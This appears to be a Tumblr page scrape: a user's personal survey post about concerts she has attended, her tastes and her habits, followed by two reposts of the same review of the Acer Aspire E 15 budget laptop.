My top 5 blogs on tumblr~ all my pals listed here, & then like @mysilverylining​, @absolutelyiris​, and like…i guess maybe @fatherjerusalem​…like….gun to my head no other choice (also like y’all would be on my friends page but i get anxious that we aren’t that close!!! also picking icons is hard so rip i love you all) 

THE WHAT CONCERTS HAVE I BEEN TO QUESTION~

What concerts have I been to? I WAS BORN FOR THIS QUESTION BC I LITERALLY KEEP ALL OF THE BANDS I’VE SEEN IN A GOOGLE DOC

RADIOHEAD THREE TIMES I LOVE MYSELF

david byrne & st. vincent 

st. vincent, arcade fire, of montreal, ed sheeran, the flaming lips, beach house, bat for lashes, the white stripes, beck

bob dylan, avril lavinge, foals, flying lotus, angels and airwaves, weezer, other lives, matisyahu, rizzle kicks, simple plan, local natives, carly rae jepsen, liars

the rest of the questions~

Name: Jennie 

4 turn ons: oh god i don’t even know but i love collarbones 

My best first date: n/a 

What do I miss: the snow!!! rip

Favorite color: grey

Favorite quote: this poem!!!

Favorite food: i’m ordering pizza for dinner tonight

What am I listening to right now: the album fist & palm by bellows

Shoe size: it’s complicated but 6-7.5

Hair color: brown

Ever done a prank call? yes

Meaning behind my URL: i love marissa cooper and summer roberts from the oc 

Favorite song: let down by radiohead

How I feel right now: my leg is asleep and odds is so many #’s 

My current relationship status: bye

Favorite holiday: uhh n/a 

Tattoos and piercing i want: i think i’m good w/ piercings 

Do I and my last ex hate each other?~ lmao!!!!! i would have him arrested if i saw him again probably but also we didn’t date

How long does it take me to get ready in the morning? i don’t understand the question

Where am I right now? my house

Do I like my music loud or at a reasonable level? reasonable 2 me

Am I excited for anything? i want to go to fyf fest

How often do I wear a fake smile? lol

What if the last person I kissed was kissing someone else right in front of me? i can’t even remember the last person i kissed but lord i don’t care about stuff like that

What is something I disliked about today? um

Do I have any strange phobias? yes

What was the last lie I told? who knows 

Do I believe in ghosts? How about aliens? yes 2 both 

Do I believe in luck? i didn’t think this was a thing…do ppl…Not…believe in luck?? 

Do I have any nicknames? jennie & jen

Do I spend money or save it? lol

Is there anything pink in 10 feet from me? um a pink highlighter & lilly kane…in my heart

What was I doing last night at 12 AM? watching the west wing

What’s a song that always makes me happy when I hear it? radiohead

What would I want to be written on my tombstone? just draw a cat

Do I have any relatives in jail? i have relatives who sHOULD BE 

What would be a question I’d be afraid to tell the truth on? n/a

Had sex? “[you’re] a virgin who can’t drive” 

Gotten pregnant?  no

Kissed a boy? yes

Have I ever kissed somebody in the rain? ummMMmMm i think yes? if not where’s my cute girlfriend at so we can recreate naley magic 

Left the house without my wallet? yes

Had sex in public? no 

Smoked weed? yes 

Smoked cigarettes? yes 

Am I a vegetarian/vegan? no

Been underweight? no

Been on the computer for 5 hours straight? it’s the depression

Been outside my home country? once when i was like 4-6 but hopefully soon!! i’ll be in a different country again

Been to a professional sports game? yes i think 

Cut myself? yikes

Been in airplane? i’ve been…on…one

Learned another language? i took french in high school

Lost my virginity before I was 18? y’all are kinda obsessed w/ sex

Dyed my hair?  it doesn’t count

Rode in an ambulance? no 

Met someone famous? yes

Peed outside? uhh? yes probably 

Helped with charity? i don’t think so 

Broken a mirror? yes

[koristore-blog]

Pros /

Colorful, full-HD display; Long battery life; Plenty of ports and DVD drive; Accurate sound;

Cons /

Grainy webcam; Narrow viewing angles;

Verdict /

A colorful display, long battery life and strong build quality make the Aspire Aspire E 15 E5-575-33BM a fantastic value.

If you want a sub-$350 Windows laptop, you usually have to settle for a dull, low-res screen; lackluster design; and mediocre performance. For $349 ($429 with Windows Office), Acer’s Aspire E 15 E5-575-33BM defies those expectations, providing a colorful 1080p display, solid build quality and a reasonable Core i3 processor. Throw in over 8 hours of battery life, a DVD drive and just about every port you can imagine, and this 15.6-inch laptop is a real winner for consumers on a budget.

Design: Solid

Acer’s Aspire E 15 is made of sturdy black plastic with a dark gray, matte lid that has a subtle crosshatch pattern and texture, along with a deck that looks like faux brushed aluminum. The notebook seems to have solid build quality, because it didn’t creak or buckle during my use; the keyboard didn’t show any signs of flex while typing either.

At 10.2 x 1.5 x 1.2 inches and 5.06 pounds, the E 15 E5-575-33BM is bulky, but it’s not much bigger than other budget 15-inch laptops. The Dell Inspiron 15 5000 is heavier (5.2 pounds) but thinner (0.92 inches), while the HP Notebook 15-ba009dx (4.6 pounds, 0.96 inches thick) is both thinner and lighter. The 14-inch Asus VivoBook E403SA is a much smaller alternative, at 3.18 pounds and 0.7 inches thick.

Ports: Everything you need plus DVD

The Aspire’s thick frame leaves plenty of room for both a DVD writer and almost every conceivable port. The left side houses a full-size Ethernet port, two USB 3.0 connectors, HDMI-out, VGA-out and a USB Type-C 3.1 port that’s good for data but that can’t be used to charge the laptop. The right side contains the DVD drive, a third USB port and a 3.5mm audio jack. The front lip offers an SD card reader.

Keyboard and Touchpad: Comfy and accurate

The Acer E 15’s keyboard offers a good typing experience that’s free from any of the shallowness or flex we find on many budget laptops. The keys provide a full 1.5mm of vertical travel and require 64 grams of force to actuate, a combination which prevented me from bottoming out as I typed. I reached a strong 100 words. Many users will appreciate the dedicated numeric keypad, which makes using the calculator or editing spreadsheets easier.

The 4.2 x 3-inch buttonless touchpad provides reasonably-accurate navigation around the desktop, but its surface felt a little slippery to me. The pad seemed to have a little trouble with pinch-to-zoom, as it didn’t always respond right away when I performed the gesture in Chrome browser or Windows 10’s photo app. Three-finger swiping to switch between apps worked every time.

Display: Surprisingly good

It’s rare that you find a 1920 x 1080 display on a sub-$400 laptop, let alone a display that covers this much of the color gamut. The Aspire E 15’s 15.6-inch screen outputs at a sharp 1080p resolution with tones that are vibrant, though not always accurate, and very limited viewing angles. When I watched a trailer for Spider-Man: Homecoming, the reds and blues in Spidey’s costume popped, but appeared a bit oversaturated.

According to our colorimeter, the Acer E 15 can reproduce an impressive 159 percent of the sRGB color gamut, which is well above the 94 percent mainstream laptop average. That showing also trounces competitors in the E 15’s price range, such as the HP Notebook 15 (70 percent), Asus VivoBook E403SA (68 percent) and Dell Inspiron 15 5000 (72 percent).

Unfortunately, the numbers here don’t tell the full story, as the viewing angles were quite narrow. Dark images began inverting at just 45 degrees to the left or right.

Don’t try using this laptop in direct sunlight. The Aspire E 15 E5-575-33BM registered just 215 nits on our light meter, well below the 276-nit category average but actually better than showings by the Notebook 15 (174 nits) and VivoBook E403SA (201 nits). The Inspiron 15 5000 (213 nits) had a nearly identical score.

Audio: Decent

The Aspire E 15’s speakers offer output that’s quite accurate and loud enough to fill a medium-sized room. When I played Deep Purple’s “Smoke on the Water,” I could hear a clear separation of sound amid the drums, vocals and guitar. There was only a hint of tinniness in the high tones.

Performance: Ready for (light) multitasking

With its Core i3-7100U CPU, 4GB of RAM and 1TB 5,400-rpm hard drive, the Aspire E 15 E5-575-33BM offers just enough performance for light multitasking. With 12 tabs open in Chrome and a local 1080p video playing in another window, I experienced minimal lag when switching between the tabs. However, when one of the tabs was streaming a video (in addition to the local video) or downloading a large web page, things slowed down to the point that letters I typed in a Google doc didn’t appear until seconds after I hit the keys.

The Aspire E 15 scored a modest 5,408 on Geekbench 4, a synthetic benchmark that measures overall performance. That’s much less than the Core i5-7200U-powered Inspiron 15 5000’s score (6,742), but better than the showing by the HP Notebook 15-ba009dx (3,291) and its AMD A6-7310 CPU.

Acer’s laptop took 5 minutes and 14 seconds to complete the Laptop Spreadsheet Macro Test, in which we match 20,000 names with their addresses. That time is slower than the 4:01 category average and the Inspiron 15 5000’s time of 4:03, but more than twice as quick as the times from the Pentium N3700-powered Asus VivoBook E403SA (13:31) and the HP Notebook 15 (11:40).

The E 15’s 1TB hard drive copied 4.97GB of mixed-media files at a rate of 36.6 megabytes per second, which is significantly slower than the result for the Inspiron 15 5000 (83.4 MBps) and a bit lower than the HP Notebook 15-ba009dx’s showing (40 MBps), both of which have 5,400-rpm hard drives. The VivoBook E403SA and its eMMC memory did even worse (30.1 MBps).

You can watch full-HD movies on Acer’s laptop, but don’t think about playing anything more than casual games on it. The E 15’s Intel HD 620 GPU managed a mediocre 49,211 on 3DMark Ice Storm Unlimited, a synthetic graphics test. That mark is well below the Inspiron 15 5000’s score of 60,475 and the category average (86,474). However, the Notebook 15-ba009dx (33,649) and VivoBook E403SA (26,224) scored even lower.

Upgrading: Encouraged

Unlike many manufacturers, who don’t want you to touch your laptop’s innards, Acer actually cites the easy-to-remove upgrade panel on the bottom as a reason to buy this laptop. If you want to improve the performance of the E 15 E-575-33BM, you can upgrade its RAM and storage drive easily and inexpensively.

Once you take the panel off, you can put up to 32GB of DDR4 RAM inside or swap out the hard drive for any 2.5-inch SATA SSD. The machine comes with only one of its two memory slots filled, so you can pop in an extra 4GB, which costs around $33, for a total of 8GB. A 240GB or 250GB SSD goes for between $90 and $100. When there’s a sale, you can get both components for far less. So, for $480 or less, you can have this laptop with an SSD, 8GB of RAM and a 1080p display.

Battery Life: Great for the Size

If you don’t mind carrying the Aspire E 15 around, you’ll really appreciate its long battery life. The laptop lasted 8 hours and 16 minutes on the Laptop Battery Test, which involves continuous surfing over Wi-Fi. That time is an hour and 20 minutes longer than the category average (6:52) and around double the time of the Dell Inspiron 15 5000 (4:25) and HP Notebook 15 (3:36). The 14-inch VivoBook E403SA (9:02) lasted a bit longer.

Webcam: Too much noise

Even in a market in which most built-in laptop webcams take poor pictures, the Aspire’s 720p sensor stands out for all the wrong reasons. When I shot a selfie under the flourescent lights of my office, both my facial features and the background behind me were filled to the brim with extra visual noise. Fine details like the hairs in my beard and the lines on my skin were hard to make out.

The E 15 is certified for Skype for business, which means that its microphone, speakers and webcam are guaranteed to work with Microsoft’s enterprise-friendly conferencing software. However, given the image quality of the built-in lens, we recommend purchasing an external webcam if you plan to make video calls for work.

Heat: Pretty cool

The Aspire E 15 stayed cool and comfortable to the touch throughout our use. After I streamed 15 minutes of video, the touchpad measured 78 degrees Fahrenheit, the keyboard clocked in at 84 degrees and the bottom hit only 85.5 degrees. All of those temperatures are well below our 95-degree comfort threshold.

Configuration Options

Acer’s Aspire E 15 family comes in a wide variety of configurations.If you’re willing to spend a couple hundred dollars more, the $579 Aspire E5-575G-57D4 has the same screen and chassis as our review model, but features a Core i5-7200U CPU, 8GB of RAM and a 256GB SSD. The $629 E5-575G-53VG adds Nvidia 940MX graphics.

Software and Warranty

Acer preloads the Aspire E 15 with just a handful of utilities that aren’t harmful but that mostly duplicate built-in Windows 10 features. Acer Care Center checks the system health and looks for software updates. Acer Power Button sets what the power button does: turn off the computer, sleep, hibernate or disable the display, but all those options are also available in the Windows 10 control panel. Acer Quick Access allows you to turn on the Blue light-reduction mode or set up your computer as a hotspot, features that you can get as part of the OS. CyberLink’s PowerDVD lets you play movies on disc.

Like every other Windows 10 laptop we’ve tested, the machine comes bundled with Microsoft’s standard load of casual games and trialware, including, Sling TV, Candy Crush Soda, Royal Revolt II, March of Empires: War of Lords, a link to download Fallout Shelter and a link to download Asphalt 8.

Acer backs the E 15 with a standard one-year limited warranty. See how Acer did on our laptop brand ratings and tech support showdown.

The Bottom Line

The Acer Aspire E 15 E5-575-33BM offers a great combination of solid performance, good battery life and strong usability for the money. You’d be hard-pressed to find another 15-inch laptop with features and build quality this good selling for anywhere near $350.

If you’re looking for a lighter laptop with longer battery life in this price range, consider Asus’ 14-inch VivoBook E403SA, which costs $50 more and has much weaker performance, but weighs just 3.18 pounds and lasts over 9 hours on a charge. However, if you want the best budget 15-inch laptop available right now, look no further than the E 15 E5-575-33BM.

Acer Aspire E 15 (E5-575-33BM) Pros / Colorful, full-HD display; Long battery life; Plenty of ports and DVD drive; Accurate sound;

[galucy-blog]

Pros /

Colorful, full-HD display; Long battery life; Plenty of ports and DVD drive; Accurate sound;

Cons /

Grainy webcam; Narrow viewing angles;

Verdict /

A colorful display, long battery life and strong build quality make the Aspire Aspire E 15 E5-575-33BM a fantastic value.

If you want a sub-$350 Windows laptop, you usually have to settle for a dull, low-res screen; lackluster design; and mediocre performance. For $349 ($429 with Windows Office), Acer’s Aspire E 15 E5-575-33BM defies those expectations, providing a colorful 1080p display, solid build quality and a reasonable Core i3 processor. Throw in over 8 hours of battery life, a DVD drive and just about every port you can imagine, and this 15.6-inch laptop is a real winner for consumers on a budget.

Design: Solid

Acer’s Aspire E 15 is made of sturdy black plastic with a dark gray, matte lid that has a subtle crosshatch pattern and texture, along with a deck that looks like faux brushed aluminum. The notebook seems to have solid build quality, because it didn’t creak or buckle during my use; the keyboard didn’t show any signs of flex while typing either.

At 10.2 x 1.5 x 1.2 inches and 5.06 pounds, the E 15 E5-575-33BM is bulky, but it’s not much bigger than other budget 15-inch laptops. The Dell Inspiron 15 5000 is heavier (5.2 pounds) but thinner (0.92 inches), while the HP Notebook 15-ba009dx (4.6 pounds, 0.96 inches thick) is both thinner and lighter. The 14-inch Asus VivoBook E403SA is a much smaller alternative, at 3.18 pounds and 0.7 inches thick.

Ports: Everything you need plus DVD

The Aspire’s thick frame leaves plenty of room for both a DVD writer and almost every conceivable port. The left side houses a full-size Ethernet port, two USB 3.0 connectors, HDMI-out, VGA-out and a USB Type-C 3.1 port that’s good for data but that can’t be used to charge the laptop. The right side contains the DVD drive, a third USB port and a 3.5mm audio jack. The front lip offers an SD card reader.

Keyboard and Touchpad: Comfy and accurate

The Acer E 15’s keyboard offers a good typing experience that’s free from any of the shallowness or flex we find on many budget laptops. The keys provide a full 1.5mm of vertical travel and require 64 grams of force to actuate, a combination which prevented me from bottoming out as I typed. I reached a strong 100 words. Many users will appreciate the dedicated numeric keypad, which makes using the calculator or editing spreadsheets easier.

The 4.2 x 3-inch buttonless touchpad provides reasonably-accurate navigation around the desktop, but its surface felt a little slippery to me. The pad seemed to have a little trouble with pinch-to-zoom, as it didn’t always respond right away when I performed the gesture in Chrome browser or Windows 10’s photo app. Three-finger swiping to switch between apps worked every time.

Display: Surprisingly good

It’s rare that you find a 1920 x 1080 display on a sub-$400 laptop, let alone a display that covers this much of the color gamut. The Aspire E 15’s 15.6-inch screen outputs at a sharp 1080p resolution with tones that are vibrant, though not always accurate, and very limited viewing angles. When I watched a trailer for Spider-Man: Homecoming, the reds and blues in Spidey’s costume popped, but appeared a bit oversaturated.

According to our colorimeter, the Acer E 15 can reproduce an impressive 159 percent of the sRGB color gamut, which is well above the 94 percent mainstream laptop average. That showing also trounces competitors in the E 15’s price range, such as the HP Notebook 15 (70 percent), Asus VivoBook E403SA (68 percent) and Dell Inspiron 15 5000 (72 percent).

Unfortunately, the numbers here don’t tell the full story, as the viewing angles were quite narrow. Dark images began inverting at just 45 degrees to the left or right.

Don’t try using this laptop in direct sunlight. The Aspire E 15 E5-575-33BM registered just 215 nits on our light meter, well below the 276-nit category average but actually better than showings by the Notebook 15 (174 nits) and VivoBook E403SA (201 nits). The Inspiron 15 5000 (213 nits) had a nearly identical score.

Audio: Decent

The Aspire E 15’s speakers offer output that’s quite accurate and loud enough to fill a medium-sized room. When I played Deep Purple’s “Smoke on the Water,” I could hear a clear separation of sound amid the drums, vocals and guitar. There was only a hint of tinniness in the high tones.

Performance: Ready for (light) multitasking

With its Core i3-7100U CPU, 4GB of RAM and 1TB 5,400-rpm hard drive, the Aspire E 15 E5-575-33BM offers just enough performance for light multitasking. With 12 tabs open in Chrome and a local 1080p video playing in another window, I experienced minimal lag when switching between the tabs. However, when one of the tabs was streaming a video (in addition to the local video) or downloading a large web page, things slowed down to the point that letters I typed in a Google doc didn’t appear until seconds after I hit the keys.

The Aspire E 15 scored a modest 5,408 on Geekbench 4, a synthetic benchmark that measures overall performance. That’s much less than the Core i5-7200U-powered Inspiron 15 5000’s score (6,742), but better than the showing by the HP Notebook 15-ba009dx (3,291) and its AMD A6-7310 CPU.

Acer’s laptop took 5 minutes and 14 seconds to complete the Laptop Spreadsheet Macro Test, in which we match 20,000 names with their addresses. That time is slower than the 4:01 category average and the Inspiron 15 5000’s time of 4:03, but more than twice as quick as the times from the Pentium N3700-powered Asus VivoBook E403SA (13:31) and the HP Notebook 15 (11:40).

The E 15’s 1TB hard drive copied 4.97GB of mixed-media files at a rate of 36.6 megabytes per second, which is significantly slower than the result for the Inspiron 15 5000 (83.4 MBps) and a bit lower than the HP Notebook 15-ba009dx’s showing (40 MBps), both of which have 5,400-rpm hard drives. The VivoBook E403SA and its eMMC memory did even worse (30.1 MBps).

You can watch full-HD movies on Acer’s laptop, but don’t think about playing anything more than casual games on it. The E 15’s Intel HD 620 GPU managed a mediocre 49,211 on 3DMark Ice Storm Unlimited, a synthetic graphics test. That mark is well below the Inspiron 15 5000’s score of 60,475 and the category average (86,474). However, the Notebook 15-ba009dx (33,649) and VivoBook E403SA (26,224) scored even lower.

Upgrading: Encouraged

Unlike many manufacturers, who don’t want you to touch your laptop’s innards, Acer actually cites the easy-to-remove upgrade panel on the bottom as a reason to buy this laptop. If you want to improve the performance of the E 15 E-575-33BM, you can upgrade its RAM and storage drive easily and inexpensively.

Once you take the panel off, you can put up to 32GB of DDR4 RAM inside or swap out the hard drive for any 2.5-inch SATA SSD. The machine comes with only one of its two memory slots filled, so you can pop in an extra 4GB, which costs around $33, for a total of 8GB. A 240GB or 250GB SSD goes for between $90 and $100. When there’s a sale, you can get both components for far less. So, for $480 or less, you can have this laptop with an SSD, 8GB of RAM and a 1080p display.

Battery Life: Great for the Size

If you don’t mind carrying the Aspire E 15 around, you’ll really appreciate its long battery life. The laptop lasted 8 hours and 16 minutes on the Laptop Battery Test, which involves continuous surfing over Wi-Fi. That time is an hour and 20 minutes longer than the category average (6:52) and around double the time of the Dell Inspiron 15 5000 (4:25) and HP Notebook 15 (3:36). The 14-inch VivoBook E403SA (9:02) lasted a bit longer.

Webcam: Too much noise

Even in a market in which most built-in laptop webcams take poor pictures, the Aspire’s 720p sensor stands out for all the wrong reasons. When I shot a selfie under the flourescent lights of my office, both my facial features and the background behind me were filled to the brim with extra visual noise. Fine details like the hairs in my beard and the lines on my skin were hard to make out.

The E 15 is certified for Skype for business, which means that its microphone, speakers and webcam are guaranteed to work with Microsoft’s enterprise-friendly conferencing software. However, given the image quality of the built-in lens, we recommend purchasing an external webcam if you plan to make video calls for work.

Heat: Pretty cool

The Aspire E 15 stayed cool and comfortable to the touch throughout our use. After I streamed 15 minutes of video, the touchpad measured 78 degrees Fahrenheit, the keyboard clocked in at 84 degrees and the bottom hit only 85.5 degrees. All of those temperatures are well below our 95-degree comfort threshold.

Configuration Options

Acer’s Aspire E 15 family comes in a wide variety of configurations.If you’re willing to spend a couple hundred dollars more, the $579 Aspire E5-575G-57D4 has the same screen and chassis as our review model, but features a Core i5-7200U CPU, 8GB of RAM and a 256GB SSD. The $629 E5-575G-53VG adds Nvidia 940MX graphics.

Software and Warranty

Acer preloads the Aspire E 15 with just a handful of utilities that aren’t harmful but that mostly duplicate built-in Windows 10 features. Acer Care Center checks the system health and looks for software updates. Acer Power Button sets what the power button does: turn off the computer, sleep, hibernate or disable the display, but all those options are also available in the Windows 10 control panel. Acer Quick Access allows you to turn on the Blue light-reduction mode or set up your computer as a hotspot, features that you can get as part of the OS. CyberLink’s PowerDVD lets you play movies on disc.

Like every other Windows 10 laptop we’ve tested, the machine comes bundled with Microsoft’s standard load of casual games and trialware, including, Sling TV, Candy Crush Soda, Royal Revolt II, March of Empires: War of Lords, a link to download Fallout Shelter and a link to download Asphalt 8.

Acer backs the E 15 with a standard one-year limited warranty. See how Acer did on our laptop brand ratings and tech support showdown.

The Bottom Line

The Acer Aspire E 15 E5-575-33BM offers a great combination of solid performance, good battery life and strong usability for the money. You’d be hard-pressed to find another 15-inch laptop with features and build quality this good selling for anywhere near $350.

If you’re looking for a lighter laptop with longer battery life in this price range, consider Asus’ 14-inch VivoBook E403SA, which costs $50 more and has much weaker performance, but weighs just 3.18 pounds and lasts over 9 hours on a charge. However, if you want the best budget 15-inch laptop available right now, look no further than the E 15 E5-575-33BM.

Acer Aspire E 15 (E5-575-33BM)

Pros / Colorful, full-HD display; Long battery life; Plenty of ports and DVD drive; Accurate sound;

Acer Aspire E 15 (E5-575-33BM) Pros / Colorful, full-HD display; Long battery life; Plenty of ports and DVD drive; Accurate sound;